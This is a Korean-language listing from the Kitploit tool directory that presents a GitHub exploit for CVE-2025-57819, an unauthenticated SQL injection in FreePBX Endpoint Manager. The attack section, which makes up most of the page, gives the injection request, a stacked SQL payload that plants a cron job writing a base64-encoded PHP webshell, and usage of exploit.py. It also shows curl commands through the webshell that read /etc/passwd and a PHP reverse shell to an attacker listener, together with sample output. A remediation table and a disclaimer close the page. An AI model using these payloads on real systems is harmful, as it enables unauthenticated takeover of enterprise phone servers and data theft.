Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
freepbx-endpoint-sqli-rce — FreePBX Endpoint Manager에서 인증되지 않은 SQL 인젝션(CVE-2025-57819)이 있으며, cron으로 예약된 PHP 웹셸을 주입하여 원격 코드 실행을 가능하게 합니다. | Kitploit
도구/GitHubGitHub/jf-gondim/freepbx-endpoint-sqli-rce
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubjf-gondim/freepbx-endpoint-sqli-rce

freepbx-endpoint-sqli-rce

FreePBX Endpoint Manager에서 인증되지 않은 SQL 인젝션(CVE-2025-57819)이 있으며, cron으로 예약된 PHP 웹셸을 주입하여 원격 코드 실행을 가능하게 합니다.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
2개월 전아직 검토되지 않음

CVE-2025-57819 — FreePBX 엔드포인트 모듈 SQL 인젝션 → 원격 코드 실행

요약

FreePBX는 Asterisk PBX를 위한 오픈소스 웹 GUI로, 기업용 전화 환경에서 널리 배포됩니다. 엔드포인트 매니저 모듈은 /admin/ajax.php에서 AJAX 핸들러를 노출하며, 이 핸들러는 brand 매개변수를 받아 SQL 쿼리에 직접 삽입합니다(살균 처리 없음). 인증되지 않은 원격 공격자는 임의의 SQL을 주입하고, cron_jobs 테이블에 행을 삽입한 후, FreePBX cron 데몬이 웹 루트에 실행 가능한 PHP 웹쉘을 쓰도록 하여 약 1분 이내에 인증되지 않은 원격 코드 실행을 달성할 수 있습니다.


취약점 상세

필드값
CVE IDCVE-2025-57819
CVSS 점수9.8 (Critical)
CVSS 벡터CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-89 — SQL 명령 내 특수 요소의 부적절한 중립화
구성 요소FreePBX 엔드포인트 매니저 모듈
영향FreePBX 17.x (패치되지 않음)
패치됨FreePBX 17.x (패치됨)
공격 벡터네트워크 — 인증 불필요

기술 분석

취약한 요청은 엔드포인트 매니저의 AJAX 명령 핸들러를 대상으로 합니다:

root@kitploit:~
GET /admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=<PAYLOAD> HTTP/1.1
Host: <target>

brand 매개변수는 이스케이프나 준비된 구문 없이 SQL 쿼리에 연결됩니다. 공격자는 쿼리 문자열을 종료하고 두 번째 문을 추가합니다:

root@kitploit:~
x' ;INSERT INTO cron_jobs
  (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES
  ('sysadmin', 'webshell',
   'echo "PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pg=="|base64 -d >/var/www/html/webshell.php',
   NULL, '* * * * *', 30, 1, 1) --

주입된 cron 항목은 매분 웹 서버/Asterisk 프로세스 소유자로 실행되어 다음 내용을 /var/www/html/webshell.php에 기록합니다:

root@kitploit:~
<?php system($_GET[cmd]); ?>

이로 인해 HTTP를 통해 인증되지 않은 OS 명령 실행이 가능해집니다.

근본 원인

엔드포인트 매니저 AJAX 핸들러는 매개변수화된 쿼리 대신 문자열 포맷팅을 사용하여 SQL을 동적으로 구성합니다. brand 필드는 SELECT 문에 포함되기 전에 검증이나 이스케이프 처리되지 않으므로, 쉽게 주입 가능합니다.

공격 체인

root@kitploit:~
공격자  ──GET (SQL 인젝션)──▶  /admin/ajax.php  ──INSERT──▶  cron_jobs 테이블
                                                                          │
                                              FreePBX cron 데몬 (≤60초) │
                                                                          ▼
공격자  ──GET ?cmd=id──────────▶  /webshell.php  ◀── 작성됨 ──  cron 실행

익스플로잇 사용법

요구 사항

root@kitploit:~
pip install requests urllib3

인수

root@kitploit:~
  -t, --target    대상 IP 주소 또는 호스트명  (필수)
      --timeout   대상 가용성을 기다리는 시간(초) (기본값: 30)
      --delay     cron 작업 실행을 기다리는 시간(초) (기본값: 65)

단계별 설명

1. 대상에 대해 익스플로잇 실행:

root@kitploit:~
# 기본 — cron 작업 실행을 위해 65초 대기
python3 exploit.py -t <IP>

# 호스트명 사용
python3 exploit.py -t connected.htb

# 느린 대상의 경우 cron 대기 시간 연장
python3 exploit.py -t <IP> --delay 90

2. 웹쉘이 확인되면 직접 상호작용:

root@kitploit:~
curl "http://<IP>/webshell.php?cmd=id"
curl "http://<IP>/webshell.php?cmd=cat+/etc/passwd"

3. 웹쉘을 통해 리버스 셸로 업그레이드:

자신의 머신에서 리스너 시작:

root@kitploit:~
nc -lvnp <LOCAL_PORT>

그런 다음 cmd 매개변수를 통해 PHP 리버스 셸 트리거 (URL 인코딩):

root@kitploit:~
curl "http://<IP>/webshell.php?cmd=php+-r+%27%24sock%3Dfsockopen%28%22<LOCAL_IP>%22%2C<LOCAL_PORT>%29%3Bsystem%28%22%2Fbin%2Fbash+%3C%263+%3E%263+2%3E%263%22%29%3B%27"

cmd로 전송된 URL 디코딩된 페이로드는:

root@kitploit:~
php -r '$sock=fsockopen("<LOCAL_IP>",<LOCAL_PORT>);system("/bin/bash <&3 >&3 2>&3");'

예상 출력

root@kitploit:~
 ╔═══════════════════════════════════════════════════════════════════╗
 ║  FreePBX Endpoint Module  ·  SQL Injection → Cron Webshell       ║
 ║                       CVE-2025-57819                              ║
 ╚═══════════════════════════════════════════════════════════════════╝
  CVE ID      :  CVE-2025-57819
  Component   :  FreePBX Endpoint Module
  Affected    :  unpatched 17.x   →  Patched: patched 17.x
  CVSS Score  :  9.8 (Critical)
  CVSS Vector :  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  CWE         :  CWE-89 — SQL Injection
  Type        :  Unauthenticated SQL Injection → Cron-scheduled PHP Webshell
  Reference   :  https://nvd.nist.gov/vuln/detail/CVE-2025-57819

  14:03:11 [*] Probing target <IP>  (max 30s) ...
  14:03:12 [+] Target is alive — HTTP 200

  14:03:12 [*] Inject endpoint : http://<IP>/admin/ajax.php
  14:03:12 [!] Injecting cron job via SQL injection ...

  14:03:12 [+] Injection request sent
  14:03:12 [*] Waiting 65s for cron job to fire ...
  14:04:17 [*] Probing webshell at http://<IP>/webshell.php?cmd=id ...
  14:04:17 [+] Webshell is active — command output:

    uid=997(asterisk) gid=993(asterisk) groups=993(asterisk)

  14:04:17 [+] Webshell URL: http://<IP>/webshell.php?cmd=<command>

  14:04:17 [+] Exploit routine complete.

시간 참고. 기본 --delay 65초는 cron 데몬(매분 시작 시 실행)이 주입된 작업을 실행할 기회를 최소 한 번 가지도록 보장합니다. 느린 대상에서는 --delay 90 또는 --delay 120으로 늘리십시오.


수정 조치


참고 자료

  • NVD — CVE-2025-57819
  • CWE-89: SQL Injection
  • OWASP: SQL Injection
  • OWASP Top 10: A03 Injection
  • FreePBX Project
  • watchTowr Labs Reference PoC

면책 조항

이 익스플로잇은 교육 목적 및 승인된 보안 테스트를 위해서만 제공됩니다. 소유하거나 명시적인 서면 허가를 받은 시스템에 대해서만 사용하십시오. 승인되지 않은 사용은 불법이며 비윤리적입니다.

도구 다운로드
우선순위조치
Critical즉시 CVE-2025-57819에 대한 FreePBX 공급업체 패치 적용
Critical기존의 /var/www/html/webshell.php 아티팩트 제거
High/admin/ajax.php에 대한 접근을 인증된 신뢰할 수 있는 네트워크 출처로 제한
High엔드포인트 매니저의 모든 SQL 쿼리 감사 및 살균 — 준비된 구문 사용
Mediumcron_jobs 테이블 제한: INSERT할 수 있는 역할 제한
MediumAJAX 엔드포인트에서 스택 쿼리 패턴을 차단하는 WAF 규칙 적용
LowFreePBX/Asterisk 프로세스를 웹 루트에 쓰기 권한이 없는 최소 권한 계정으로 실행